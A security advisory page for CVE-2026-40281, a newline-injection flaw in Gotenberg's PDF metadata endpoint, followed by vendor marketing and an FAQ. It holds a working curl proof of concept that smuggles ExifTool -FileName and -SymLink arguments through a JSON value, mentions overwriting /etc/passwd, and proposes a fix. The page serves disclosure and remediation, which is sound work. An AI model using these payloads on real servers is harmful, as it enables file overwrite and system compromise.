Summary
Vulnerability Details
CWE: CWE-20 - Improper Input Validation
The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.
The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags, the exact tags the key blocklist was designed to prevent.
Root Cause
pkg/modules/exiftool/exiftool.go, WriteMetadata() function:
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) { // ← only keys checked
return fmt.Errorf(...)
}
}
// VALUE passed through unsanitized:
case string:
fileMetadata[0].SetString(key, val) // ← val may contain \n
go-exiftool (barasher/go-exiftool) then writes:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
// -Title=test
// -FileName=/tmp/inject_proof
Steps to Reproduce
1. Start Gotenberg:
docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8
2. Create a test PDF:
curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-o test.pdf http://localhost:3001/forms/chromium/convert/html \
<<< '<html><body>test</body></html>'
3. Inject -FileName via value newline:
curl -s -w "\nHTTP %{http_code}" \
-F '[email protected];type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)
4. Verify injection inside container:
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)
5. Symlink injection:
curl -s -w "\nHTTP %{http_code}" \
-F '[email protected];type=application/pdf' \
-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
http://localhost:3001/forms/pdfengines/metadata/write
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
Proposed Fix
Add value sanitization parallel to the existing key check in WriteMetadata:
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}
Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.
Vulnerable Code
// See description for details
Steps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
Impact
An unauthenticated attacker can:
- Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
- Overwrite arbitrary files, e.g.,
-Directory=/etc/ -FileName=passwdinjects two lines, moving the PDF to/etc/passwd, corrupting the system user database - Create symlinks at arbitrary paths via
-SymLink=, enabling subsequent read/write primitives - Create hard links via
-HardLink=, persisting data beyond temp directory cleanup
This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.
CVE-2026-40281 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.31.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-40281? CVE-2026-40281 is a critical-severity security vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.30.1. It is fixed in 8.31.0.
- How severe is CVE-2026-40281? CVE-2026-40281 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-40281? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.30.1 is affected.
- Is there a fix for CVE-2026-40281? Yes. CVE-2026-40281 is fixed in 8.31.0. Upgrade to this version or later.
- Is CVE-2026-40281 exploitable, and should I be worried? Whether CVE-2026-40281 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-40281 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-40281? Upgrade
github.com/gotenberg/gotenberg/v8to 8.31.0 or later.